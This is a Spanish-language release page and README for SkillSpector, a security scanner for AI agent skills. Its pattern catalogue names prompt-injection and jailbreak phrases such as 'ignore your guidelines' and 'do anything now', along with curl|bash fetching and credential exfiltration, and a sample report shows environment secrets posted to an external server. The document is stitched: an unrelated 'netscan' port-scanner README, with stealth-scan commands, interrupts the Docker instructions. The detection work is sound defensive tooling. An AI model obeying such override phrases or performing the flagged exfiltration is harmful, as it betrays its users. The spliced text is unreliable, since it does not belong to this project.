Volver a actualizaciones
Nuevo releaseAug 27, 2026

SkillSpector v2.10.0

Escáner de seguridad para habilidades de agentes de IA. Detecta vulnerabilidades, patrones maliciosos, riesgos de seguridad, inyección de prompt, exfiltración de datos y riesgos de la cadena de suministro en las habilidades de Claude Code, Codex y MCP antes de instalarlas.

Compartir

SkillSpector

Escáner de seguridad para skills de agentes de IA. Detecta vulnerabilidades, patrones maliciosos y riesgos de seguridad antes de instalar skills de agentes.

Python 3.12+ License: Apache 2.0 OpenSSF Scorecard

Descripción general

Las skills de agentes de IA (utilizadas por Claude Code, Codex CLI, Gemini CLI, etc.) se ejecutan con confianza implícita y una verificación mínima. Las investigaciones muestran que el 26,1% de las skills contienen vulnerabilidades y el 5,2% muestran una intención probablemente maliciosa.

SkillSpector te ayuda a responder: "¿Es segura de instalar esta skill?"

SkillSpector forma parte del pipeline NVIDIA Verified Skills, que escanea, evalúa y firma skills de agentes antes de su publicación. Las skills que superan la verificación se publican en el catálogo de skills de NVIDIA.

Documentación

Características

  • Entrada multiformato: Escanea repositorios Git, URLs, archivos zip, directorios o archivos individuales
  • 71 patrones de vulnerabilidad en 17 categorías: inyección de prompts, exfiltración de datos, escalada de privilegios, cadena de suministro, agencia excesiva, manejo de salidas, filtración del prompt del sistema, envenenamiento de memoria, uso indebido de herramientas, agente deshonesto, anti-rechazo, abuso de disparadores, código peligroso (AST), seguimiento de taint, firmas YARA, privilegio mínimo de MCP y envenenamiento de herramientas MCP
  • Análisis en dos etapas: Análisis estático rápido + evaluación semántica opcional con LLM
  • Consultas de vulnerabilidades en vivo: SC4 consulta OSV.dev para obtener datos de CVE en tiempo real con fallback offline automático
  • Múltiples formatos de salida: Informes en terminal, JSON, Markdown y SARIF
  • Puntuación de riesgo: Puntuación de 0 a 100 con etiquetas de severidad y recomendaciones claras
  • Supresión de baseline / falsos positivos: Acepta hallazgos conocidos mediante una regla glob o un baseline de huellas para que los reescaneos solo muestren problemas nuevos (docs)

Inicio rápido

Instalación

Aviso sobre software de código abierto: Este proyecto descargará e instalará proyectos de software de código abierto de terceros adicionales. Revisa los términos de licencia de estos proyectos de código abierto antes de usarlos.

Crea y activa primero un entorno virtual (todos los objetivos de make asumen que el venv está activo). Usa uv o pip; el Makefile usa uv si está disponible; en caso contrario, pip.

Instalación rápida con uv (solo CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git

Update later: uv tool update skillspector

Si planeas ejecutar `skillspector mcp`, instala el extra de MCP en el momento de la instalación:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

Desde el código fuente:```bash

Clone the repository

git clone https://github.com/NVIDIA/skillspector.git cd skillspector

Create and activate virtual environment

uv venv .venv && source .venv/bin/activate

or: python3 -m venv .venv && source .venv/bin/activate

Install for production use

make install

Or install with development dependencies

make install-dev

### Docker (no se requiere Python)

Ejecuta SkillSpector sin instalar Python construyéndolo localmente desde el [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluido. La imagen está basada en la imagen oficial de Docker Python `3.12-slim-bookworm`.

**Construir la imagen:**```bash
make docker-build
# or: docker build -t skillspector .

Escanear un directorio local montando tu directorio actual en /scan, el directorio de trabajo del contenedor:```bash docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

**Escanear con análisis LLM** pasando credenciales con un archivo `.env` local:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

Características

  • Escaneo de red: Descubre dispositivos en tu red local
  • Detección de puertos: Identifica puertos abiertos y servicios en ejecución
  • Identificación de servicios: Detecta versiones de servicios y banners
  • Detección de sistema operativo: Identifica el sistema operativo del objetivo
  • Escaneo sigiloso: Utiliza técnicas SYN, FIN, XMAS y NULL
  • Escaneo UDP: Soporte para escaneo de puertos UDP
  • Detección de vulnerabilidades: Comprueba vulnerabilidades comunes
  • Salida flexible: Soporta formatos de salida JSON, XML y texto
  • Multiplataforma: Funciona en Linux, macOS y Windows

Instalación

Desde el código fuente

git clone https://github.com/example/netscan.git
cd netscan
pip install -r requirements.txt
python setup.py install

Usando pip

pip install netscan

Usando Docker

docker pull example/netscan:latest
docker run -it --rm example/netscan --help

Uso

Escaneo básico

netscan 192.168.1.1

Escanear un rango de red

netscan 192.168.1.0/24

Escanear puertos específicos

netscan 192.168.1.1 -p 22,80,443,8080

Escanear un rango de puertos

netscan 192.168.1.1 -p 1-1000

Detección de sistema operativo

netscan 192.168.1.1 -O

Escaneo sigiloso

netscan 192.168.1.1 -sS

Escaneo UDP

netscan 192.168.1.1 -sU

Formato de salida

netscan 192.168.1.1 -oJ results.json
netscan 192.168.1.1 -oX results.xml
netscan 192.168.1.1 -oT results.txt

Opciones

OpciónDescripción
-pEspecifica puertos a escanear
-OHabilita la detección de sistema operativo
-sSRealiza un escaneo SYN
-sURealiza un escaneo UDP
-oJSalida en formato JSON
-oXSalida en formato XML
-oTSalida en formato de texto
-vModo detallado
-hMuestra el mensaje de ayuda

Ejemplos

Escanear una subred

netscan 192.168.1.0/24 -p 22,80,443

Escanear con detección de sistema operativo

netscan 192.168.1.1 -O -p 1-1000

Guardar resultados en JSON

netscan 192.168.1.0/24 -oJ results.json

Requisitos

  • Python 3.6 o superior
  • Privilegios de root (para escaneos SYN y UDP)
  • Bibliotecas: scapy, argparse, colorama

Licencia

Este proyecto está licenciado bajo la Licencia MIT - consulta el archivo LICENSE para más detalles.

Descargo de responsabilidad

Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. Los usuarios son responsables de cumplir con todas las leyes aplicables. Los autores no se hacen responsables de ningún uso indebido o daño causado por esta herramienta.

Contribuciones

¡Las contribuciones son bienvenidas! Por favor, consulta CONTRIBUTING.md para más detalles.

Soporte

O pasa las credenciales directamente desde el entorno de tu shell:```bash
docker run --rm \
  -v "$PWD:/scan" \
  -e SKILLSPECTOR_PROVIDER=anthropic \
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  skillspector scan ./my-skill/

Escribir un informe en el sistema de archivos del host escribiendo en el directorio montado:```bash docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json

**Alias opcional** para escaneos estáticos repetidos:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm

Uso básico```bash

Scan a local skill directory

skillspector scan ./my-skill/

Scan a single SKILL.md file

skillspector scan ./SKILL.md

Scan a Git repository

skillspector scan https://github.com/user/my-skill

Scan a zip file

skillspector scan ./my-skill.zip

#### Límites de tamaño

SkillSpector aplica dos límites independientes sobre entradas remotas y archivos comprimidos para acotar el impacto de descargas sobredimensionadas y bombas zip:

- **Límite por ingesta**: `INGEST_MAX_BYTES` (100 MiB) — se aplica a las descargas por URL en streaming, al tamaño total sin comprimir de los archivos zip y al uso de disco posterior al clonado de repositorios Git.
- **Límite por miembro de zip**: `INGEST_MAX_ZIP_MEMBERS` (10,000) — limita la cantidad de entradas en un único zip.

Ten en cuenta que el límite de análisis de 1 MB por archivo (`MAX_FILE_BYTES`) es un límite posterior e independiente: acota lo que los analizadores individuales leerán de un directorio ya ingestado. Los límites de ingesta anteriores acotan cuánto contenido puede llegar al disco en primer lugar. El incumplimiento de cualquiera de los límites de ingesta falla de forma segura con un `IngestLimitExceededError`.

### Formatos de salida```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/

# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json

# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md

# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif

Escaneo por lotes

Escanee directorios completos de skills en paralelo desde contrib/batch_scan/:```bash python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20

Admite detección multilingüe (zh/ja/ko) y salida en terminal/JSON/Markdown.

Para escaneos con LLM con mayor concurrencia, configure múltiples claves de API siguiendo
[`.env.example`](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/.env.example) — el grupo mejora el rendimiento
y la resiliencia, siempre que las claves no compartan un límite de tasa a nivel de cuenta.

Consulte la [guía de contribución](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/docs) para más detalles.

> **Nota sobre el soporte de LLM:** La configuración predeterminada apunta a DeepSeek como la
> opción pública más económica. Se
> [espera que DeepSeek-Chat se descontinúe](https://api-docs.deepseek.com/), y el colaborador
> no dispone de hardware para probar con modelos locales. El escáner por lotes se
> probó originalmente con endpoints compatibles con OpenAI — la falta de soporte de
> salida estructurada de DeepSeek requirió parches manuales de análisis JSON. Si puedes
> contribuir con un backend más universal (Ollama, vLLM u otro proveedor),
> los PR son muy bienvenidos.

### Suprimir falsos positivos (baseline)

Suprime los hallazgos conocidos/aceptados para que la puntuación de riesgo refleje solo los
problemas no triados y los reescaneos muestren solo hallazgos *nuevos*. Consulte la
[guía de supresión](https://github.com/nvidia/skillspector/blob/main/docs/SUPPRESSION.md) para la referencia completa.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml

# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml

# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed

Una línea base también puede usar reglas glob tolerantes a la deriva (por id de regla, ruta de archivo o mensaje) — consulta .skillspector-baseline.example.yaml. Las líneas base de huellas exactas están vinculadas a la evidencia: cambiar la fuente escaneada o la versión de SkillSpector mantiene el hallazgo activo hasta que se revise de nuevo. Cuando una línea base seleccionada o la salida de una línea base se almacena dentro del directorio del skill, SkillSpector excluye ese archivo exacto del análisis de contenido para que su texto de supresión no pueda crear hallazgos ni entrar en las huellas regeneradas; los archivos hermanos permanecen en el alcance normal del escaneo.

Análisis LLM

Para obtener los mejores resultados, configura un endpoint LLM compatible con OpenAI para el análisis semántico. Elige un proveedor con SKILLSPECTOR_PROVIDER; los proveedores alojados incluyen modelos predeterminados integrados, mientras que los proveedores CLI recurren al modelo predeterminado del runtime local a menos que se establezca SKILLSPECTOR_MODEL. SkillSpector también funciona con servidores locales compatibles con OpenAI (Ollama, vLLM, llama.cpp) y pasarelas de inferencia gestionadas.

Proveedor (SKILLSPECTOR_PROVIDER)Variable de entorno de credencialesEndpointModelo predeterminado
openaiOPENAI_API_KEY (+ opcional OPENAI_BASE_URL)api.openai.com (o cualquier URL compatible con OpenAI)gpt-5.4
anthropicANTHROPIC_API_KEYapi.anthropic.comclaude-opus-4-6
anthropic_proxyANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URLCualquier proxy raw-predict estilo Vertexclaude-sonnet-4-6
bedrockAWS_PROFILE (opcional) + AWS_REGION — SigV4 vía boto3AWS Bedrock Runtimeus.anthropic.claude-sonnet-4-6-20250915-v1:0
nv_buildNVIDIA_INFERENCE_KEYbuild.nvidia.comdeepseek-ai/deepseek-v4-flash
claude_cli(ninguna — usa la autenticación local del CLI)binario local claudefallback del runtime local de Claude, o SKILLSPECTOR_MODEL
codex_cli(ninguna — usa la autenticación local del CLI)binario local codexfallback del runtime local de Codex, o SKILLSPECTOR_MODEL

Stock OpenAI

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/

Anthropic

export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/

Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)

export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/

AWS Bedrock (Claude via SigV4)

export SKILLSPECTOR_PROVIDER=bedrock

Optional: select an AWS named profile. When unset, the standard

boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.

export AWS_PROFILE=my-profile

export AWS_REGION=us-west-2 # default if unset

Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0

Override with any Bedrock model ID, cross-region inference-profile

ID, or your own application-inference-profile ARN:

export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0

skillspector scan ./my-skill/

NVIDIA build.nvidia.com

export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/

Local Claude CLI — no API key; uses your existing claude auth login session

Requires: claude CLI installed and authenticated (claude auth login)

export SKILLSPECTOR_PROVIDER=claude_cli

Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.

export SKILLSPECTOR_MODEL=claude-sonnet-4-6

skillspector scan ./my-skill/

Local Codex CLI — no API key; uses your existing codex login session

Requires: codex CLI installed and authenticated

export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/

Local Ollama or any OpenAI-compatible endpoint

export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/

Override the provider's default model

export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/

Skip LLM analysis (faster, static analysis only)

skillspector scan ./my-skill/ --no-llm

### Servidor MCP

Ejecuta SkillSpector como un servidor de [Model Context Protocol](https://modelcontextprotocol.io)
para que cualquier agente compatible con MCP (Claude Code, Codex CLI, Gemini CLI) o entorno de ejecución remoto
pueda invocar el escaneo como una herramienta y **condicionar la instalación de skills/MCP según el
resultado** — convirtiendo a SkillSpector en una barrera de protección en tiempo de ejecución en lugar de un
paso de auditoría fuera de banda.

`skillspector mcp` requiere `skillspector[mcp]`.```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

# FastMCP stdio transport for local CLI agents
skillspector mcp

# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000

El transporte stdio es la ruta actual de FastMCP para agentes CLI locales, y el bloqueo en la inicialización reportado en el issue #199 sigue aplicándose allí.

El servidor expone una única herramienta:

  • scan_skill(target, use_llm=true, output_format="json") — escanea una URL de Git, una URL de archivo, un .zip, un archivo .md o un directorio y devuelve un veredicto estructurado: risk_score (0-100), severity, recommendation, safe_to_install y findings. También informa llm_used / scan_mode para que una puntuación baja de un escaneo solo estático nunca se confunda con un escaneo completo limpio.

Regístralo con Claude Code mediante:```bash claude mcp add skillspector -- skillspector mcp

> **Seguridad — modelo de confianza del transporte HTTP**
>
> El transporte HTTP se distribuye **sin autenticación**. Cualquier llamador que pueda
> alcanzar el puerto puede invocar `scan_skill`. Sobre stdio o `127.0.0.1` este es
> el mismo límite de confianza que la CLI. Si lo vinculas a una interfaz enrutable:
>
> - Coloca el servidor detrás de un proxy inverso con autenticación (p. ej. nginx + mTLS)
>   antes de exponerlo externamente.
> - Las rutas locales y las URL `file://` se **rechazan automáticamente** sobre HTTP para
>   evitar que llamadores no autenticados lean archivos arbitrarios del host. Solo
>   se aceptan URL remotas de Git y `.zip`.

## Patrones de vulnerabilidad

SkillSpector detecta **71 patrones de vulnerabilidad** en 17 categorías:

### Inyección de prompts (6 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| P1 | Anulación de instrucciones | HIGH | Comandos para ignorar restricciones de seguridad |
| P2 | Instrucciones ocultas | HIGH | Directivas maliciosas en comentarios/texto invisible |
| P3 | Comandos de exfiltración | HIGH | Instrucciones para transmitir contexto externamente |
| P4 | Manipulación de comportamiento | MEDIUM | Instrucciones sutiles que alteran las decisiones del agente |
| P5 | Contenido dañino | CRITICAL | Instrucciones que podrían causar daño físico |
| P9 | Relleno de espacios en blanco | MEDIUM | Gran relleno de espacios en blanco que oculta instrucciones debajo/al lado del área visible |

### Anti-Rechazo (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| AR1 | Supresión de rechazo | HIGH | Instrucciones para nunca rechazar o siempre cumplir (p. ej. "never refuse", "always comply") |
| AR2 | Supresión de descargos de responsabilidad | HIGH | Instrucciones para omitir advertencias, descargos de responsabilidad o comentarios éticos (p. ej. "no disclaimers", "do not moralize") |
| AR3 | Anulación de política de seguridad | HIGH | Encuadre de jailbreak que anula las barreras de protección (p. ej. "you have no restrictions", "ignore your guidelines", "do anything now") |

### Exfiltración de datos (4 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| E1 | Transmisión externa | MEDIUM | Envío de datos a URL externas |
| E2 | Recolección de variables de entorno | HIGH | Enumerar, copiar o buscar datos del entorno para recolectar secretos |
| E3 | Enumeración del sistema de archivos | MEDIUM | Escaneo de directorios en busca de archivos sensibles |
| E4 | Fuga de contexto | HIGH | Transmisión del contexto de la conversación externamente |

### Escalada de privilegios (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| PE1 | Permisos excesivos | LOW | Solicitar acceso más allá de la funcionalidad declarada |
| PE2 | Ejecución con Sudo/Root | MEDIUM | Invocación de privilegios elevados del sistema |
| PE3 | Acceso a credenciales | HIGH | Lectura de claves SSH, tokens, contraseñas |

### Cadena de suministro (9+ patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| SC1 | Dependencias sin fijar | LOW | Sin restricciones de versión en los paquetes |
| SC2 | Obtención de scripts externos | HIGH | curl \| bash y ejecución remota de código |
| SC3 | Código ofuscado | HIGH | Ejecución codificada en Base64/hex |
| SC4 | Dependencias vulnerables conocidas | HIGH | Dependencias con CVE conocidos (consulta en vivo a OSV.dev) |
| SC5 | Dependencias abandonadas | MEDIUM | Paquetes sin mantenimiento y sin actualizaciones de seguridad |
| SC6 | Typosquatting | HIGH | Nombres de paquetes similares a paquetes populares |
| SC8 | Bytecode de Python incluido | HIGH | `__pycache__` / `.pyc` presente (el descubrimiento lo omite; omisión de bytecode malicioso) |
| SC9 | Artefacto ejecutable oculto | HIGH | Ejecutable anidado en un contenedor de documento o artefacto oculto/disfrazado |

### Agencia excesiva (5 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| EA1 | Acceso irrestricto a herramientas | HIGH | Acceso sin restricciones a herramientas sin limitaciones |
| EA2 | Toma de decisiones autónoma | HIGH | Decisiones de alto impacto sin intervención humana |
| EA3 | Expansión de alcance | MEDIUM | Capacidades que se extienden más allá del propósito declarado |
| EA4 | Acceso ilimitado a recursos | MEDIUM | Sin límites de velocidad ni cuotas en el consumo de recursos |
| EA5 | Selección de modelo o proveedor externo | MEDIUM/HIGH | Fijaciones de modelo/proveedor o invocaciones de shell de CLI de codificación que pueden cambiar cuentas de facturación |

### Manejo de salida (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| OH1 | Inyección de salida no validada | HIGH | Salida del modelo usada sin sanitización |
| OH2 | Salida entre contextos | MEDIUM | La salida fluye entre límites de confianza sin validación |
| OH3 | Salida ilimitada | MEDIUM | Sin límites en el tamaño de salida o la tasa de generación |

### Fuga del prompt del sistema (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| P6 | Fuga directa | HIGH | Instrucciones que exponen prompts del sistema o reglas internas |
| P7 | Extracción indirecta | MEDIUM | Extracción mediante reformulación, traducción o canales laterales |
| P8 | Exfiltración basada en herramientas | HIGH | Prompts del sistema exfiltrados mediante escrituras de archivos o solicitudes de red |

### Envenenamiento de memoria (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| MP1 | Inyección de contexto persistente | HIGH | Contenido diseñado para persistir entre interacciones |
| MP2 | Relleno de la ventana de contexto | MEDIUM | Contenido de relleno que desplaza las restricciones de seguridad |
| MP3 | Manipulación de memoria | HIGH | Alteración de la memoria del agente o del estado almacenado |

### Uso indebido de herramientas (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| TM1 | Abuso de parámetros de herramientas | HIGH | Parámetros manipulados para un comportamiento no previsto (shell=True, --force) |
| TM2 | Abuso de encadenamiento | HIGH | Cadenas de herramientas que eluden las verificaciones de seguridad individuales |
| TM3 | Valores predeterminados inseguros | MEDIUM | Valores predeterminados demasiado permisivos (TLS deshabilitado, sin autenticación) |

### Agente descontrolado (2 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| RA1 | Automodificación | CRITICAL | Modificación del propio código o configuración en tiempo de ejecución |
| RA2 | Persistencia de sesión | HIGH | Persistencia no autorizada mediante trabajos cron o scripts de inicio |

### Abuso de disparadores (3 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| TR1 | Disparador demasiado amplio | MEDIUM | Patrones de disparador que coinciden con palabras comunes |
| TR2 | Disparador de comando en la sombra | HIGH | Disparadores que eclipsan comandos integrados u otras habilidades |
| TR3 | Disparador de cebo por palabra clave | MEDIUM | Disparadores genéricos diseñados para maximizar la activación |

### AST de comportamiento (9 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| AST1 | Llamada a exec() | CRITICAL | exec() directo que permite la ejecución de código arbitrario |
| AST2 | Llamada a eval() | HIGH | eval() directo que evalúa expresiones arbitrarias |
| AST3 | Importación dinámica | HIGH | \_\_import\_\_() que carga módulos arbitrarios en tiempo de ejecución |
| AST4 | Llamada a subprocess | HIGH | Ejecución de comandos externos mediante subprocess |
| AST5 | os.system / familia exec | HIGH | Comandos de shell mediante el módulo os |
| AST6 | Llamada a compile() | MEDIUM | Creación de objetos de código a partir de cadenas |
| AST7 | getattr() dinámico | MEDIUM | Acceso arbitrario a atributos con nombres no literales |
| AST8 | Cadena de ejecución peligrosa | CRITICAL | exec/eval combinado con fuente dinámica (red, datos codificados) |
| AST9 | Sumidero de getattr() reflexivo | HIGH | exec reflexivo mediante `getattr(os,'system')` / `getattr(builtins,'exec')` que evade AST1/AST5 |

### Seguimiento de contaminación (5 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| TT1 | Flujo de contaminación directo | HIGH | Los datos fluyen directamente desde una fuente hasta un sumidero sin sanitización |
| TT2 | Flujo de contaminación mediado por variables | MEDIUM | Los datos fluyen desde la fuente hasta el sumidero a través de variables intermedias |
| TT3 | Cadena de exfiltración de credenciales | CRITICAL | Las credenciales (variables de entorno, secretos) fluyen hacia sumideros de salida de red |
| TT4 | Lectura de archivos a exfiltración de red | HIGH | El contenido de los archivos fluye hacia sumideros de salida de red |
| TT5 | Entrada externa a ejecución de código | CRITICAL | La entrada de red o del usuario fluye hacia sumideros exec/eval/subprocess |

### Firmas YARA (4 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| YR1 | Coincidencia de malware | CRITICAL | Coincidencia de regla YARA para firmas de malware conocidas |
| YR2 | Coincidencia de webshell | CRITICAL | Coincidencia de regla YARA para patrones de webshell |
| YR3 | Coincidencia de criptominero | HIGH | Coincidencia de regla YARA para indicadores de minería de criptomonedas |
| YR4 | Coincidencia de herramienta de hackeo / exploit | HIGH | Coincidencia de regla YARA para herramientas de hackeo o código de exploit |

### MCP de privilegio mínimo (4 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| LP1 | Capacidad subdeclarada | HIGH | El código usa capacidades no listadas en los permisos declarados |
| LP2 | Permiso comodín | MEDIUM | La lista de permisos contiene comodines (\*, all, full, any) |
| LP3 | Declaración de permiso faltante | MEDIUM | Sin campo de permisos pero el código tiene capacidades detectables |
| LP4 | Permiso sobredimensionado | LOW | Permiso declarado pero no se encontró la capacidad de código correspondiente |

### Envenenamiento de herramientas MCP (4 patrones)

| ID | Patrón | Severidad | Descripción |
|----|---------|----------|-------------|
| TP1 | Instrucciones ocultas | HIGH | Directivas ocultas en metadatos (comentarios HTML, caracteres de ancho cero, base64, URI de datos) |
| TP2 | Engaño Unicode | HIGH | Homoglifos, anulaciones RTL, identificadores de escritura mixta en metadatos de herramientas |
| TP3 | Inyección en descripción de parámetros | MEDIUM | Patrones de inyección en definiciones de parámetros (anulaciones, tokens del sistema, valores predeterminados maliciosos) |
| TP4 | Discrepancia entre descripción y comportamiento | MEDIUM | La descripción declarada de la herramienta no coincide con el comportamiento real del código (impulsado por LLM) |

Todos los patrones detectados se enumeran en las tablas anteriores.

## Puntuación de riesgo

### Cálculo de la puntuación

- **Problemas CRITICAL**: +50 puntos
- **Problemas HIGH**: +25 puntos
- **Problemas MEDIUM**: +10 puntos
- **Problemas LOW**: +5 puntos
- **Scripts ejecutables**: multiplicador de 1.3x

### Niveles de severidad

| Puntuación | Severidad | Recomendación |
|-------|----------|----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |

## Ejemplo de salida

### Salida de terminal```
 SkillSpector Security Report  v2.0.0

Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC

        Risk Assessment
 Metric          Value
 Score           78/100
 Severity        HIGH
 Recommendation  DO NOT INSTALL

        Components (3)
 File              Type      Lines  Executable
 SKILL.md          markdown    142  No
 scripts/sync.py   python       87  Yes
 requirements.txt  text          3  No

Issues (2)

  HIGH: Env Variable Harvesting (E2)
    Location: scripts/sync.py:23
    Finding: for key, val in os.environ.items():...
    Confidence: 94%
    Explanation: This code collects environment variables containing
    API keys and secrets, then sends them to an external server.

  HIGH: External Transmission (E1)
    Location: scripts/sync.py:45
    Finding: requests.post("https://api.skill.io/env"...
    Confidence: 89%
    Explanation: Data is being sent to an external server. Combined
    with env harvesting above, this indicates credential exfiltration.

Configuración

Variables de entorno

VariableDescripciónRequerida
SKILLSPECTOR_PROVIDERProveedor LLM activo: openai, anthropic, anthropic_proxy, bedrock, nv_build, claude_cli, codex_cli o gemini_cli. Los proveedores alojados usan los valores predeterminados del model_registry.yaml incluido; claude_cli y codex_cli recurren al modelo predeterminado del entorno de ejecución local de la CLI a menos que se establezca SKILLSPECTOR_MODEL. Valor predeterminado: nv_build.Opcional
NVIDIA_INFERENCE_KEYCredencial para el proveedor nv_build (build.nvidia.com).Requerida para el análisis LLM cuando SKILLSPECTOR_PROVIDER=nv_build
OPENAI_API_KEYCredencial para el proveedor OpenAI (SKILLSPECTOR_PROVIDER=openai). También sirve como respaldo de nivel 2 en la cascada de credenciales cuando el proveedor activo no devuelve credenciales.Requerida para el análisis LLM cuando SKILLSPECTOR_PROVIDER=openai
OPENAI_BASE_URLSobrescribe el endpoint de OpenAI (p. ej., apuntar a Ollama).Opcional
SKILLSPECTOR_REASONING_EFFORTAjuste opcional de esfuerzo de razonamiento dependiente del proveedor y del modelo. Los valores no vacíos se recortan y se pasan sin cambios; si no se establece o está en blanco, se conserva el comportamiento predeterminado del proveedor.Opcional
SKILLSPECTOR_OUTPUT_LANGUAGEEtiqueta de idioma corta de una sola línea (letras, números, espacios, _ o -; máximo 64 caracteres) para el texto legible por humanos de los hallazgos del LLM, como mensajes, explicaciones y remediación. Los ID de reglas, los valores de severidad, las rutas, el código y otros valores legibles por máquina permanecen sin cambios. Los valores no establecidos, en blanco o no válidos conservan el idioma de salida predeterminado.Opcional
SKILLSPECTOR_TEMPERATURETemperatura de muestreo opcional de 0 a 1 para proveedores alojados. Si no se establece o está en blanco, se conserva el valor predeterminado del proveedor. Los valores más bajos pueden reducir la variación entre ejecuciones, pero no garantizan una salida idéntica.Opcional
SKILLSPECTOR_SEEDSemilla de muestreo entera opcional para proveedores compatibles con OpenAI y Azure OpenAI. Los demás proveedores alojados y los proveedores CLI no la reciben. La compatibilidad del proveedor sigue dependiendo del modelo.Opcional
ANTHROPIC_API_KEYCredencial para el proveedor Anthropic (SKILLSPECTOR_PROVIDER=anthropic).Requerida para el análisis LLM cuando SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_BASE_URLSobrescribe el endpoint nativo de Anthropic (predeterminado: https://api.anthropic.com).Opcional
ANTHROPIC_PROXY_ENDPOINT_URLURL completa del endpoint para el proveedor de proxy de Anthropic (raw-predict estilo Vertex).Requerida cuando SKILLSPECTOR_PROVIDER=anthropic_proxy
ANTHROPIC_PROXY_API_KEYToken de portador para el proveedor de proxy de Anthropic.Requerida cuando SKILLSPECTOR_PROVIDER=anthropic_proxy
ANTHROPIC_PROXY_API_VERSIONValor de anthropic_version enviado en el cuerpo de la solicitud (predeterminado: vertex-2023-10-16).Opcional
AWS_PROFILEPerfil de AWS con nombre para el proveedor Bedrock — se autentica mediante SigV4 a través de boto3. Cuando no se establece, se resuelve la cadena de credenciales estándar de boto3 (variables de entorno, metadatos de instancia, SSO, etc.).Opcional (se usa cuando SKILLSPECTOR_PROVIDER=bedrock)
AWS_REGIONRegión de AWS para el endpoint de Bedrock Runtime. Valor predeterminado: us-west-2.Opcional (se usa cuando SKILLSPECTOR_PROVIDER=bedrock)
SKILLSPECTOR_MODELSobrescribe el modelo del proveedor activo. Para los proveedores alojados, esto reemplaza el valor predeterminado incluido de la tabla de Análisis LLM. Para claude_cli y codex_cli, esto se reenvía como --model en lugar de usar el respaldo del entorno de ejecución local de la CLI.Opcional
SKILLSPECTOR_MODEL_REGISTRYSobrescribe el registro YAML incluido por proveedor (src/skillspector/providers/<provider>/model_registry.yaml) con una ruta personalizada.Opcional
